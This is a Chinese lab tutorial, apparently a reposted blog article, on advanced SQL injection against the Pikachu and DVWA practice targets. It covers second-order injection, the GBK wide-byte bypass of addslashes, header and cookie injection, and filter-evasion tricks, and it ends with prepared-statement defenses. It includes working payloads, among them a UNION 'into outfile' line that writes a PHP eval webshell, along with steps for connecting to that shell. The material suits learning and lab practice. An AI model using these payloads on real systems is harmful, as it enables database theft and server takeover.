【网络安全的神秘世界】SQL注入(下)

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

3.7 二次注入

不好挖这个漏洞,需要搞懂业务逻辑关系

二次注入通常是指在存入数据库时做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入

1️⃣插入恶意数据

在第一次向数据库插入数据库时,网站本身使用addslashes()对其中的特殊字符进行转义,但是addslashes()有一个特点就是虽然参数在过滤后会添加“\"进行转义,但是”\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据

在MySQL中,\属于转义字符,当我们insert插入\字符时,\在数据库中最终只会存储为空值“ ”

在这里插入图片描述

2️⃣引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了了脏数据,没有进一步的校验和处理,这样就会造成SQL的二次注入

在这里插入图片描述

3.8 宽字节注入

安装pikachu环境

docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu

借助 Docker 轻松搭建 Pikachu 靶场教程

宽字节概念

  • 如果一个字符的大小是一个字节的,称为窄字节;

  • 如果一个字符的大小是两个及以上字节的,称为宽字节;

  • 像GB2312、GBK、GB18030、BIG5、Shift_jis等编码都是常见的宽字节字符集

  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

宽字节注入利用MySQL的一个特性:使用GBK编码的时候,会认为两个字符是一个汉字

进入pikachu靶场的后端查看mysql数据库中使用的什么编码

docker exec -it pikachu_id bash

在这里插入图片描述

show variables like '%character%'

在这里插入图片描述

发现数据库用的latin1编码方式,但是上面说了用gbk编码才有宽字节注入场景

而pikachu靶场又存在宽字节注入,那是因为网站代码手动设置了mysql编码为gbk

在这里插入图片描述


判断输入点是字符型,构造字符型注入语句

在这里插入图片描述

发现注入失败,但是去数据库里能查出来,这说明网站做了过滤

在这里插入图片描述

为了防止网站被SQL注入,网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义

通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,即永远是字符串,无法实现SOL注入

网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义

addslashes()函数

  • addslashes() 会在预定义字符之前添加反斜线 \进行转义
  • 预定义字符:单引号',双引号",反斜线\,NULL

【转义】:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了,就仅仅是一个普通的字符串了

绕过addslashes()函数

通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符\ 失效、使单引号逃逸

✨绕过原理:

# 前端输入
kobe%df' or 1=1# 

# 后端通过addslashes()添加转义字符\,编码后变成%5C
kobe%df\' or 1=1# 
kobe%df%5c%27 or 1=1# 

# 因为数据库使用gbk编码(2个字节会被编码为1个汉字),那么%df%5c= 運
kobe運' or 1=1#

✨绕过步骤:

1️⃣输入 kobe%df' and 1=1# 后发现还是失败

在这里插入图片描述

抓包发现那是因为网站前端对%做了url编码变成%25

在这里插入图片描述

2️⃣抓包直接在bp中修改,就不会经过url编码了

在这里插入图片描述

掌握这个原理后,%df也可以替换成其他2位16进制数;不同的编码方式有不同的绕过方法

3.9 http header和cookie注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的不同场景下该怎么使用

当攻击者能够控制这些 HTTP 头部字段的值,并且应用程序没有正确地转义或过滤这些输入时,他们可能会插入恶意的 SQL 代码片段,从而可能导致数据泄露、数据篡改、甚至完全控制数据库

进入pikachu的http header来进行一下测试:

抓包将它发送到【Repeater】模块,将User-Agent的值删掉,自己构造一个单引号:

在这里插入图片描述

出现了语法错误,意味着输入的内容会到数据库中进行查询,接下来的步骤就很简单了,跟前面的报错注入是一样的

'or updatexml(1,concat(0x7e,database()),0) or'

cookie注入就是把注入语句通过抓包放进cookie里面,跟上面的步骤一样,这里不再赘述了

四、从MySQL注入到GetShell

mysql支持向外写文件(这里的“外”是指服务器内部,除mysql),需要用到select into outfile命令

select into outfile的作用:将被选择的一行代码写入一个文件中,文件被创建到服务器上

select into outfile的使用前提是:

  • 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等方式知道
  • 对目录要有写权限,一般image之类的存放图片的目录有写权限
  • 要有mysql file权限(即能够对系统的文件读写操作),默认情况下只有root权限有

还要注意:写的文件名一定是在网站中不存在的,不然会失败

我们使用into outfile写入一句话木马,文件名为shell2.php:

1' union select 1,"<?php eval($_POST['a']);?>" into outfile ' /var/www/html/shell2.php
  • eval():允许执行任何传递给它的 PHP 代码字符串
  • $_POST[‘a’]:a是攻击者定义的关键字,用来接收攻击者输入的内容
  • /var/www/html:网站的根目录,底层是Linux系统的话,文件通常放在这

1️⃣在DVWA Low等级的SQL Injection中输入

在这里插入图片描述

2️⃣访问http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,给a传递参数后点击【Execute】执行

在这里插入图片描述

pwd属于操作系统命令,不能直接传递给php,要按照规定的格式写

在这里插入图片描述

使用get方法,直接在url构造

1' union select 1,"<?php eval($_GET['a']);?>" into outfile ' /var/www/html/shell2.php

在这里插入图片描述

在这里插入图片描述

3️⃣打开蚁剑,密码为a(蚁剑出于安全考虑,只能连接post方法)

在这里插入图片描述

五、SQL注入绕过

5.1 大小写绕过

适用于设置了黑名单的情况下,可以任意的把某些字改为大小写

举例:seLeCT、SelEcT

5.2 替换关键字

大小写转换无法绕过,而且正则表达式会替换或删除select、union等关键字可以尝试双写:

举例:SELselectECT、SeLSeselectleCTect

5.3 使用编码

在浏览器输入一个链接,浏览器会对特殊字符进行url编码,可以通过编码的方式进行绕过

空格%20、单引号%27、左括号%28、右括号%29

1️⃣url编码

1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT

2️⃣16进制编码

mysql>select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));

5.4 使用注释

比如输入select 1被网站拦截,可以尝试select/**/1进行注释绕过

1️⃣普通注释

看一下常见的用于注释的符号有哪些:

-- ,/**/,#,-- -,

2️⃣内联注释

不具备注释语义的注释符:仍然能执行出结果

相比普通注释,内联注释使用的更多,它有一个特性/* ! */只有MySQL能识别

/*!SELECT*/1/*!union*//*!all*//*!select*/2;

5.5 等价函数与命令替换

1、函数

bin()	#二进制
hex()   #十六进制
bin()、hex() ==> ascii()

sleep() ==> benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率

concat_ws() ==> concat()
concat_wa("分隔符",字段1,字段2....)  #多个列的字段合并并添加分隔符

mid()、substr() ==> substring() #字符串的截取

strcmp(str1,str2) 
#比较两个字符串,如果两个字符串相等就返回0,如果第二个字符小于第一个字符就返回1,反之返回-1
strcmp(left('password',1),0x70) = 0
strcmp(left('password',1),0x69) = 1
strcmp(left('password',1),0x71) = -1

2、符号

当and和or不能用时,可以用&& 和 || 替换

=不能使用时,可以考虑<、>

空格,可以使用如下符号表示:%20 %09 % 0a %0b %0c %0d %a0 /**/

5.6 特殊符号

1、反引号`(tab键上方):可以过滤空格和正则,特殊情况下还可以当注释

select id from`users`;

2、-+:过滤空格和关键字

select+user_id-1+1.from users;

3、@符号:@表示用户定义,@@表示系统变量

select@^1,from users;

4、部分可能发挥作用的符号:`、~、!、@、%、()、[]、.、-、+、|、%00

六、SQL注入防御

--------------sql注入的危害这么大,为什么不对数据库进行修改?

mysql的作用只是存储和查询数据,而注入是代码层面出现的问题,所以不需要对数据库进行修复

6.1 预编译和绑定变量

预编译:提前构造好语句,只能提交指定类型的值

String sql="select id,num from user where id=?"  //定义sql语句
	PreparedStatement ps=conn.prepareStatemnt(sql)
	ps.setInt(1,id);  //设置变量
	ps.executeQuery();  //执行

那么后面输入的内容只会被当作字符串来执行,关键字不能发挥语义

6.2 严格检查参数的数据类型,使用安全函数

并不是所有场景都能采用sql语句预编译,也可以对输入的内容进行严格检测,根据业务特征做好过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/769668.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue中自定义设置多语言,并且运行js脚本自动生成多语言文件

在项目中需要进行多个国家语言的切换时&#xff0c;可以用到下面方法其中一个 一、自定义设置多语言 方法一: 可以自己编写一个设置多语言文件 在项目新建js文件&#xff0c;命名为&#xff1a;language.js&#xff0c;代码如下 // language.js 文档 let languagePage {CN…

Rocky Linux yum/dnf repo/mirrors 国内镜像列表及更换方法

Rocky Linux yum/dnf repo/mirrors 国内镜像列表及更换方法 Rocky Linux Mirrors 请访问原文链接&#xff1a;https://sysin.org/blog/rocky-linux-mirrors/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org 高校镜像推荐 mirr…

聚观早报 | 微信升级视频功能;一加Ace 3 Pro开启销售

聚观早报每日整理最值得关注的行业重点事件&#xff0c;帮助大家及时了解最新行业动态&#xff0c;每日读报&#xff0c;就读聚观365资讯简报。 整理丨Cutie 7月4日消息 微信升级视频功能 一加Ace 3 Pro开启销售 享界S9将亮相门店 澎湃OS出行助手将陆续升级 特斯拉公布二…

DDOS攻击不懂?看完让你秒懂!

什么是DDOS攻击&#xff1f; DDoS攻击&#xff0c;全称分布式拒绝服务攻击&#xff08;Distributed Denial of Service attack&#xff09;&#xff0c;是一种常见的网络安全攻击方式。以下是对DDoS攻击的详细解释: DDoS攻击是指攻击者利用大量被控制的计算机或设备&#xff…

如何查看JDK使用的垃圾收集器

在Java开发中&#xff0c;垃圾收集器&#xff08;Garbage Collector, GC&#xff09;是管理内存的关键组件&#xff0c;不同的垃圾收集器对应用性能有着显著影响。了解当前JDK使用的垃圾收集器对于性能调优至关重要。本文将介绍如何查看JDK使用的垃圾收集器。 JDK中的垃圾收集…

提升Android Studio开发体验:使用Kelp插件实现颜色和图标预览

提升Android Studio开发体验&#xff1a;使用Kelp插件实现颜色和图标预览 在Android开发中&#xff0c;自动补全功能对于提高开发效率至关重要。然而&#xff0c;默认的Android Studio并不能预览颜色和图标&#xff0c;这使得开发者在选择资源时常常感到困惑。本文将介绍如何使…

Linux中cat命令的英文含义

我之前一直在想cat不是猫的意思吗&#xff0c;但是cat命令在Linux中并不是指"猫"这个动物&#xff0c;而是来源于它的功能&#xff1a;concatenate&#xff08;连接&#xff09;和typeset&#xff08;打印&#xff09;。这个命令的名称是这两个功能的首字母缩写。尽管…

「电子数据」龙信助力鞍山市公安局电子数据取证竞赛

文章关键词&#xff1a;电子数据取证、服务支持、电子数据取证竞赛服务、取证人才培养 为进一步推动电子数据取证分析专业人才队伍建设&#xff0c;不断提高电子数据取证分析能力&#xff0c;7月1日&#xff0c;鞍山市公安局网安支队举办了电子数据取证竞赛&#xff0c;并取得…

【SOLID原则前端中的应用】里氏替换原则(Liskov Substitution Principle,LSP)- vue3示例

里氏替换原则&#xff08;Liskov Substitution Principle&#xff0c;LSP&#xff09;规定&#xff0c;子类对象必须能够替换父类对象&#xff0c;并且程序的行为保持不变。 在Vue 3中&#xff0c;这意味着我们在创建可替换的组件时&#xff0c;应该确保子组件能够完全替代父组…

杭州叉车A38老款国二 车辆维修与保养

发动机参数 更换缸垫 故障表现特征&#xff1a; 1. 发动机发动风扇端有异响&#xff0c;喷气 2. 水箱加水后外冒有水气泡 车型&#xff1a; 新柴490B 预估市场平均价格&#xff1a; 25一个 发动机-气门间隙调整 气门间隙大小&#xff1a; 经询问相关师傅&#xff0c;此次调整…

物联网综合实验平台-物联网实验实训教学平台-物联网实验箱

物联网&#xff08;IoT&#xff09;是一种连接性技术&#xff0c;将各种设备和物品连接到互联网&#xff0c;通过数据的收集和分析实现更智能的决策和操作。在《“十四五”数字经济发展规划》中&#xff0c;物联网被明确提出&#xff0c;被视为数字经济时代的基础设施。当前&am…

【JavaWeb】利用IntelliJ IDEA 2024.1.4 +Tomcat10 搭建Java Web项目开发环境(图文超详细)

1、启动IntelliJ idea 2024.1.4 在欢迎页面&#xff0c;请确认好版本。因为不同的版本&#xff0c;搭建项目过程不太一样。 点击&#xff0c;新建项目。如图&#xff1a; 2、新建项目 在新建项目界面&#xff0c;选择java&#xff0c;在右侧信息模块内&#xff0c;根据个人情…

C语言中函数的声明和创建

C语言的函数创建和java函数有有一定的区别&#xff1a;如下示例&#xff1a; fun.h文件 fun.c文件 main.c文件 或这简单一点可以这样写&#xff0c; 声明和定义的差异&#xff1a; 函数分类

加速度传感器信号处理注意事项

1 传感器分类 对于压电式压力传感器而言&#xff0c;输出信号是最重要的选择标准之一。压电式压力传感器与电子电路相连&#xff0c;电子电路将传感器产生的电荷成比例转换为电压。 如果选用外部设备&#xff08;电荷放大器&#xff09;充当电子元件&#xff0c;则称其为电…

线程池概念的详解

前言&#x1f440;~ 上一章我们介绍了什么是定时器以及如何去实现一个定时器&#xff0c;今天我们来讲解在多线程中同样很重要的一个内容线程池 线程池的出现 线程池概念 标准库中的线程池 工厂模式 newCacheThreadPool方法 newFixedThreadPool方法 ThreadPoolExecutor…

2024年广东省食品安全管理员考试精选练习题库。

16.食品流通可的单次有效期为&#xff08;&#xff09;年。 A.2 B.3 C.5 答案&#xff1a;B 17.无公害农产品的标志是&#xff08;&#xff09;的。 A.绿颜色 B.绿橙两色 答案&#xff1a;B 18.与食品安全有关的"危险温度带"是指适合大多数致病菌增殖的温度…

基于贝叶斯优化的卷积神经网络-循环神经网络混合模型的的模拟股票时间序列预测(MATLAB R2021B)

将机器学习和深度学习方法运用到股市分析中, 不仅具有一定的理论价值, 也具有一定的实践价值。从理论价值上讲, 中国的量化投资技术&#xff08;投资观念、方法与决策等&#xff09;还不够成熟, 尚处在起步阶段, 能够将量化投资技术运用到投资决策中的公司寥寥无几。目前, 国内…

初识单片机

单片机 英文 Micro Controller Unit&#xff08;MCU&#xff09; 1.内部集成了CPU、RAM、ROM、定时器、中断系统、通讯接口等一系列电脑的常用硬件功能 2.单片机的任务是信息采集&#xff08;依靠传感器&#xff09;、处理&#xff08;依靠CPU&#xff09;和硬件设备&#…

pycharm无法添加python解释器的解决方法

出现该错误的原因是先前创建过重名的解释器&#xff08;虚拟环境&#xff09;&#xff0c;在pycharm配置中没有完全删除干净。解决方法如下&#xff1a; 首先在文件->设置界面&#xff0c;找到解释器设置。 然后先按图所示点击全部显示虚拟环境&#xff1a; 接着将无法添…

HTTP基本原理与爬虫

文章目录 HTTP基本原理与爬虫客户端-服务器模型请求和响应示例请求&#xff1a;示例响应&#xff1a; 无状态协议HTTP方法HTTP状态码HTTP/2 和 HTTP/3 HTTP在爬虫中的应用 HTTP基本原理与爬虫 客户端-服务器模型 HTTP&#xff08;HyperText Transfer Protocol&#xff0c;超文…